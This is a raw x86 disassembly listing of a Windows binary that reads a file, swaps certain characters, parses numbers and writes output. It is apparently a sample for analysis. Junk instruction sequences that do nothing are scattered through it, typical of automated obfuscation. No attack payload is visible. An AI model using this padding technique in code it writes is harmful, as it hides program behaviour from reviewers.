cmp dword [ebp - 0x18], 0x15
jne 0x4049b6
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x17
jne 0x4049eb
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x18
jne 0x404a20
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x1d
jne 0x404a55
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x1f
jne 0x404a8a
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x21
jne 0x404abc
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov cl, byte [eax]
movzx edx, cl
push edx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x25
jne 0x404aee
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404b2c
cmp dword [ebp - 0x18], 0x28
jne 0x404b2c
push edx
mov edx, 0x2770ede
and edx, esp
sub edx, esp
or edx, esi
nop
pop edx
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov al, byte [eax]
movzx ecx, al
push ecx
lea ecx, [ebp - 0xac]
call fcn.00410470
jmp 0x404852
push ebx
and ebx, eax
sbb ebx, ecx
mov ebx, 0x224b3ccf
or ebx, edi
nop
pop ebx
lea edx, [ebp - 0xac]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.0040ff60
lea ecx, [ebp - 0xac]
call fcn.0040fa10
jmp 0x4040cb
mov dword [ebp - 0x50], 0
jmp 0x404b7d
mov ecx, dword [ebp - 0x50]
add ecx, 1
mov dword [ebp - 0x50], ecx
mov ecx, 0x41e39c
call fcn.004175c0
cmp dword [ebp - 0x50], eax
jae 0x404c93
mov dword [ebp - 0x5c], 0
jmp 0x404ba2
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00417520
cmp dword [ebp - 0x5c], eax
jae 0x404c8e
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
movsx eax, byte [eax]
cmp eax, 0x5f
jne 0x404c0d
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x50]
push edx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov byte [eax], 0x69
push ecx
sbb ecx, edx
add ecx, eax
mov ecx, 0x1052db2
xor ecx, ecx
nop
pop ecx
jmp 0x404c89
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
movsx edx, byte [eax]
cmp edx, 0x21
jne 0x404c4c
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x50]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov byte [eax], 0x65
jmp 0x404c89
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
movsx ecx, byte [eax]
cmp ecx, 0x28
jne 0x404c89
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x50]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.00410180
mov byte [eax], 0x61
jmp 0x404b99
jmp 0x404b74
push 0x41a60c
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x618], esp
push 0x41e384
call fcn.0040f0c0
push 0
mov ecx, 0x41e324
call fcn.00410220
push eax
lea ecx, [ebp - 0xa50]
push ecx
call fcn.00407a00
add esp, 0x20
mov ecx, eax
call fcn.00413ef0
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0xa50]
call fcn.0040fa10
push 0x41a610
lea ecx, [ebp - 0x168]
call fcn.0040f1c0
mov byte [ebp - 0x1d], 0
cmp dword [ebp - 0x8c], 0
je 0x405099
push 2
push 0
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
add esp, 4
mov dword [ebp - 0x148], eax
push 0
push 0
mov ecx, dword [ebp - 0x8c]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
lea ecx, [ebp - 0x288]
call fcn.0040f290
push 1
push 1
lea ecx, [ebp - 0xd18]
call fcn.0040ef80
cmp dword [ebp - 0x148], 0
je 0x405071
mov edx, dword [ebp - 0x148]
push edx
lea ecx, [ebp - 0x288]
call fcn.00416dc0
mov eax, dword [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x148]
push ecx
push 1
push 0
lea ecx, [ebp - 0x288]
call fcn.00410180
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 0xa68]
push ecx
call fcn.004076a0
add esp, 8
push eax
lea ecx, [ebp - 0x288]
call fcn.0040fe70
lea ecx, [ebp - 0xa68]
call fcn.0040fa10
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x61c], esp
push 0x41e384
call fcn.0040f0c0
lea edx, [ebp - 0x288]
push edx
lea eax, [ebp - 0xa80]
push eax
call fcn.00407a00
add esp, 0x20
push eax
lea ecx, [ebp - 0x288]
call fcn.0040fe70
lea ecx, [ebp - 0xa80]
call fcn.0040fa10
lea ecx, [ebp - 0x288]
push ecx
lea ecx, [ebp - 0xd18]
call fcn.00417620
mov edx, dword [ebp - 0xd18]
mov eax, dword [edx + 4]
lea ecx, [ebp + eax - 0xd18]
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::eof_void_const]
movzx ecx, al
test ecx, ecx
jne 0x40506f
lea ecx, [ebp - 0x240]
call fcn.0040f290
lea edx, [ebp - 0x240]
push edx
lea eax, [ebp - 0xd18]
push eax
call fcn.0040e860
add esp, 8
lea ecx, [ebp - 0x240]
call fcn.00414330
movzx ecx, al
test ecx, ecx
je 0x404e9c
lea ecx, [ebp - 0x240]
call fcn.0040fa10
jmp 0x404e3b
mov byte [ebp - 0x41], 0
push 0
push 0x41a614
lea edx, [ebp - 0x168]
push edx
lea eax, [ebp - 0xaf8]
push eax
call fcn.0040c930
add esp, 0xc
or dword [ebp - 0x1c], 1
push eax
lea ecx, [ebp - 0x240]
call fcn.00414760
cmp eax, 0xffffffff
jne 0x404fae
push 0
push 0x41a618
lea ecx, [ebp - 0x168]
push ecx
lea edx, [ebp - 0xae0]
push edx
call fcn.0040c930
add esp, 0xc
or dword [ebp - 0x1c], 2
push eax
lea ecx, [ebp - 0x240]
call fcn.00414760
cmp eax, 0xffffffff
jne 0x404fae
push 0
push 0x41a61c
lea eax, [ebp - 0x168]
push eax
lea ecx, [ebp - 0xac8]
push ecx
call fcn.0040c930
add esp, 0xc
or dword [ebp - 0x1c], 4
push eax
lea ecx, [ebp - 0x240]
call fcn.00414760
cmp eax, 0xffffffff
jne 0x404fae
push 0
push 0x41a620
lea edx, [ebp - 0x168]
push edx
lea eax, [ebp - 0xab0]
push eax
call fcn.0040c930
add esp, 0xc
or dword [ebp - 0x1c], 8
push eax
lea ecx, [ebp - 0x240]
call fcn.00414760
cmp eax, 0xffffffff
jne 0x404fae
push 0
push 0x41a624
lea ecx, [ebp - 0x168]
push ecx
lea edx, [ebp - 0xa98]
push edx
call fcn.0040c930
add esp, 0xc
or dword [ebp - 0x1c], 0x10
push eax
lea ecx, [ebp - 0x240]
call fcn.00414760
cmp eax, 0xffffffff
jne 0x404fae
mov dword [ebp - 0x1cc], 0
jmp 0x404fb8
mov dword [ebp - 0x1cc], 1
mov al, byte [ebp - 0x1cc]
mov byte [ebp - 0x65], al
mov ecx, dword [ebp - 0x1c]
and ecx, 0x10
je 0x404fd8
and dword [ebp - 0x1c], 0xffffffef
lea ecx, [ebp - 0xa98]
call fcn.0040fa10
mov edx, dword [ebp - 0x1c]
and edx, 8
je 0x404fef
and dword [ebp - 0x1c], 0xfffffff7
lea ecx, [ebp - 0xab0]
call fcn.0040fa10
mov eax, dword [ebp - 0x1c]
and eax, 4
je 0x405006
and dword [ebp - 0x1c], 0xfffffffb
lea ecx, [ebp - 0xac8]
call fcn.0040fa10
mov ecx, dword [ebp - 0x1c]
and ecx, 2
je 0x40501d
and dword [ebp - 0x1c], 0xfffffffd
lea ecx, [ebp - 0xae0]
call fcn.0040fa10
mov edx, dword [ebp - 0x1c]
and edx, 1
je 0x405034
and dword [ebp - 0x1c], 0xfffffffe
lea ecx, [ebp - 0xaf8]
call fcn.0040fa10
movzx eax, byte [ebp - 0x65]
test eax, eax
je 0x405040
mov byte [ebp - 0x41], 1
movzx ecx, byte [ebp - 0x41]
test ecx, ecx
jne 0x40504e
mov byte [ebp - 0x1d], 1
jmp 0x40505f
lea edx, [ebp - 0x240]
push edx
mov ecx, 0x41e39c
call fcn.00415fa0
lea ecx, [ebp - 0x240]
call fcn.0040fa10
jmp 0x404e3b
jmp 0x405081
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
lea ecx, [ebp - 0xd18]
call fcn.00410530
lea ecx, [ebp - 0x288]
call fcn.0040fa10
jmp 0x40509d
mov byte [ebp - 0x1d], 1
movzx ecx, byte [ebp - 0x1d]
test ecx, ecx
jne 0x4050bb
mov ecx, 0x41e39c
call fcn.00414390
movzx edx, al
cmp edx, 1
jne 0x4050bb
mov byte [ebp - 0x1d], 1
push esi
mov esi, 0x1cbb48eb
mov esi, 0x38987a16
xor esi, esi
pop esi
mov dword [ebp - 0xd8], 0
jmp 0x4050e4
mov eax, dword [ebp - 0xd8]
add eax, 1
mov dword [ebp - 0xd8], eax
mov ecx, 0x41e39c
call fcn.004175c0
cmp dword [ebp - 0xd8], eax
jae 0x405152
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x620], esp
push 0x41e384
call fcn.0040f0c0
mov ecx, dword [ebp - 0xd8]
push ecx
mov ecx, 0x41e39c
call fcn.00410220
push eax
lea edx, [ebp - 0xb10]
push edx
call fcn.00407a00
add esp, 0x20
push eax
mov eax, dword [ebp - 0xd8]
push eax
mov ecx, 0x41e39c
call fcn.00410220
mov ecx, eax
call fcn.0040fe70
lea ecx, [ebp - 0xb10]
call fcn.0040fa10
jmp 0x4050d5
movzx ecx, word [0x41e2d0]
cmp ecx, 0x50
je 0x405172
mov dx, word [0x41e2d0]
add dx, 1
mov word [0x41e2d0], dx
jmp 0x405152
push eax
mov eax, 0x5f270c76
mov eax, 0x62a00361
sub eax, esi
pop eax
call fcn.00407da0
movzx eax, al
test eax, eax
jne 0x405303
mov ecx, dword [ebp - 0xc0]
push ecx
mov edx, dword [ebp - 0x40]
push edx
push 1
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, dword [ebp - 0xc0]
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov dword [ebp - 0x1f8], 0
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
lea ecx, [ebp - 0x6a0]
call fcn.0040fa50
lea ecx, [ebp - 0x6b8]
call fcn.0040fa50
lea ecx, [ebp - 0x318]
call fcn.0040fa50
lea ecx, [ebp - 0x330]
call fcn.0040fa50
lea ecx, [ebp - 0x2b8]
call fcn.0040fa50
lea ecx, [ebp - 0x2d0]
call fcn.0040fa50
lea ecx, [ebp - 0x348]
call fcn.0040fa50
lea ecx, [ebp - 0x360]
call fcn.0040fa50
lea ecx, [ebp - 0x378]
call fcn.0040fa50
lea ecx, [ebp - 0x2e8]
call fcn.0040fa50
lea ecx, [ebp - 0x390]
call fcn.0040fa10
lea ecx, [ebp - 0x3a8]
call fcn.0040fa50
lea ecx, [ebp - 0x3c0]
call fcn.0040fa50
lea ecx, [ebp - 0x468]
call fcn.0040fa10
lea ecx, [ebp - 0x480]
call fcn.0040fa10
lea ecx, [ebp - 0x3d8]
call fcn.0040fa50
lea ecx, [ebp - 0x258]
call fcn.0040fa10
lea ecx, [ebp - 0x1c8]
call fcn.0040fa50
lea ecx, [ebp - 0x3f0]
call fcn.0040fa50
lea ecx, [ebp - 0x408]
call fcn.0040fa50
lea ecx, [ebp - 0x180]
call fcn.0040fa50
lea ecx, [ebp - 0x498]
call fcn.0040fa10
lea ecx, [ebp - 0x6d0]
call fcn.0040fa10
lea ecx, [ebp - 0x270]
call fcn.0040fa10
lea ecx, [ebp - 0xb8]
call fcn.0040fc00
lea ecx, [ebp - 0x198]
call fcn.0040fa50
mov eax, dword [ebp - 0x1f8]
jmp 0x406dfc
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x624], esp
push 0x41a36b
call fcn.0040f1c0
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.00409d40
add esp, 0x20
mov dword [ebp - 0x38], eax
push esi
sub esi, edi
mov esi, 0x27b25009
mov esi, 0x3fb6265a
pop esi
movzx ecx, byte [ebp - 0x1d]
test ecx, ecx
je 0x405446
push edx
mov edx, 0xf772ab7
and edx, ecx
mov edx, 0x7d3e5247
pop edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x628], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x49c], esp
push 0x41e384
call fcn.0040f0c0
push 0
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00406ee0
add esp, 0x18
movzx edx, al
test edx, edx
jne 0x405438
push ecx
mov ecx, 0x6bd9775c
xor ecx, esp
and ecx, edx
sub ecx, edx
nop
pop ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4a0], esp
push 0x41a371
call fcn.0040f1c0
push 1
push 1
mov eax, dword [ebp - 0x38]
push eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x4a4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4a8], esp
push 0x41e384
call fcn.0040f0c0
push 0
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x4ac], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b0], esp
push 0x41e384
call fcn.0040f0c0
push 0
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
push ebp
xor ebp, esp
sbb ebp, edi
sub ebp, eax
mov ebp, 0x59c38e2
nop
pop ebp
cmp dword [ebp - 0x38], 0
jne 0x4056e4
push 0
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b4], esp
lea eax, [ebp - 0x498]
push eax
call fcn.0040f0c0
lea ecx, [ebp - 0x688]
push ecx
call fcn.004093b0
add esp, 0x24
lea ecx, [ebp - 0x688]
call fcn.00414330
movzx edx, al
test edx, edx
je 0x40549a
mov dword [ebp - 0x38], 1
jmp 0x405520
mov byte [ebp - 0x42], 1
mov dword [ebp - 0x108], 0
jmp 0x4054b9
mov eax, dword [ebp - 0x108]
add eax, 1
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x688]
call fcn.00417520
cmp dword [ebp - 0x108], eax
jae 0x4054f7
mov ecx, dword [ebp - 0x108]
push ecx
lea ecx, [ebp - 0x688]
call fcn.00410180
movsx edx, byte [eax]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
add esp, 4
test eax, eax
jne 0x4054f5
mov byte [ebp - 0x42], 0
jmp 0x4054f7
jmp 0x4054aa
movzx eax, byte [ebp - 0x42]
test eax, eax
jne 0x405508
mov dword [ebp - 0x38], 1
jmp 0x405520
lea ecx, [ebp - 0x688]
call fcn.00413ef0
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
add esp, 4
mov dword [ebp - 0x38], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4b8], esp
push 0x41a372
call fcn.0040f1c0
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x30]
push eax
call fcn.00409e40
add esp, 0x24
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4bc], esp
push 0x41a373
call fcn.0040f1c0
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.0040a030
add esp, 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4c0], esp
push 0x41a376
call fcn.0040f1c0
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.0040a140
add esp, 0x20
push eax
xor eax, edx
mov eax, 0x23833e85
and eax, edx
sub eax, eax
nop
pop eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4c4], esp
push 0x41a377
call fcn.0040f1c0
push 1
push 1
mov edx, dword [ebp - 0x38]
push edx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x4c8], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4cc], esp
push 0x41e384
call fcn.0040f0c0
push 3
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x4d0], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4d4], esp
push 0x41e384
call fcn.0040f0c0
push 3
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
push edx
mov edx, 0x5ee42de6
mov edx, 0x1b7d1046
or edx, ecx
pop edx
push edi
or edi, edi
and edi, ecx
mov edi, 0x716b0135
xor edi, edi
nop
pop edi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4d8], esp
push 0x41a37b
call fcn.0040f1c0
push 1
push 1
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x4dc], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e0], esp
push 0x41e384
call fcn.0040f0c0
push 4
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x4e4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4e8], esp
push 0x41e384
call fcn.0040f0c0
push 4
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
lea ecx, [ebp - 0x688]
call fcn.0040fa10
mov eax, dword [ebp - 0xc0]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
push 1
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov eax, dword [ebp - 0xc0]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
cmp dword [ebp - 0x38], 0
je 0x40597e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4ec], esp
push 0x41a383
call fcn.0040f1c0
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x30]
push edx
call fcn.0040a250
add esp, 0x20
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f0], esp
push 0x41a39d
call fcn.0040f1c0
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x30]
push ecx
call fcn.0040a3f0
add esp, 0x20
mov byte [ebp - 0x1e], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x4f4], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4f8], esp
push 0x41e384
call fcn.0040f0c0
push 1
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00406ee0
add esp, 0x18
movzx edx, al
test edx, edx
jne 0x405876
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x4fc], esp
push 0x41e3a8
call fcn.0040f0c0
push 0
push 1
mov eax, dword [ebp - 0x38]
push eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x500], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x504], esp
push 0x41e384
call fcn.0040f0c0
push 1
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x508], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x50c], esp
push 0x41e384
call fcn.0040f0c0
push 1
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
movzx ecx, al
test ecx, ecx
jne 0x405870
jmp 0x405874
mov byte [ebp - 0x1e], 1
jmp 0x40587a
mov byte [ebp - 0x1e], 1
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x510], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x514], esp
push 0x41e384
call fcn.0040f0c0
push 2
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00406ee0
add esp, 0x18
movzx edx, al
test edx, edx
jne 0x40596e
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x518], esp
push 0x41e2dc
call fcn.0040f0c0
push 0
push 1
mov eax, dword [ebp - 0x38]
push eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x51c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x520], esp
push 0x41e384
call fcn.0040f0c0
push 2
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x524], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x528], esp
push 0x41e384
call fcn.0040f0c0
push 2
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
movzx ecx, al
test ecx, ecx
jne 0x405968
jmp 0x40596c
mov byte [ebp - 0x1e], 1
jmp 0x405972
mov byte [ebp - 0x1e], 1
movzx edx, byte [ebp - 0x1e]
test edx, edx
jne 0x40597e
mov byte [ebp - 0xd], 0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x52c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x530], esp
push 0x41e384
call fcn.0040f0c0
push 7
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00406ee0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x405a6e
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x534], esp
push 0x41a39e
call fcn.0040f1c0
push 0
push 0
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x538], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x53c], esp
push 0x41e384
call fcn.0040f0c0
push 7
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x540], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x544], esp
push 0x41e384
call fcn.0040f0c0
push 7
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x405a6e
mov byte [ebp - 0xd], 0
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x548], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x54c], esp
push 0x41e384
call fcn.0040f0c0
push 6
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00406ee0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x405b6c
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x550], esp
push 0x41a39f
call fcn.0040f1c0
push 0
push 0
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x554], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x558], esp
push 0x41e384
call fcn.0040f0c0
push 6
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x55c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x560], esp
push 0x41e384
call fcn.0040f0c0
push 6
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x405b6c
mov byte [ebp - 0xd], 0
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x564], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x568], esp
push 0x41e384
call fcn.0040f0c0
push 0xa
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00406ee0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x405c6a
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x56c], esp
push 0x41a3b7
call fcn.0040f1c0
push 0
push 0
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x570], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x574], esp
push 0x41e384
call fcn.0040f0c0
push 0xa
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x578], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x57c], esp
push 0x41e384
call fcn.0040f0c0
push 0xa
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x405c6a
mov byte [ebp - 0xd], 0
push ecx
mov ecx, 0xe15019f
xor ecx, edi
or ecx, eax
sbb ecx, ebp
nop
pop ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x580], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x584], esp
push 0x41e384
call fcn.0040f0c0
push 0xb
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
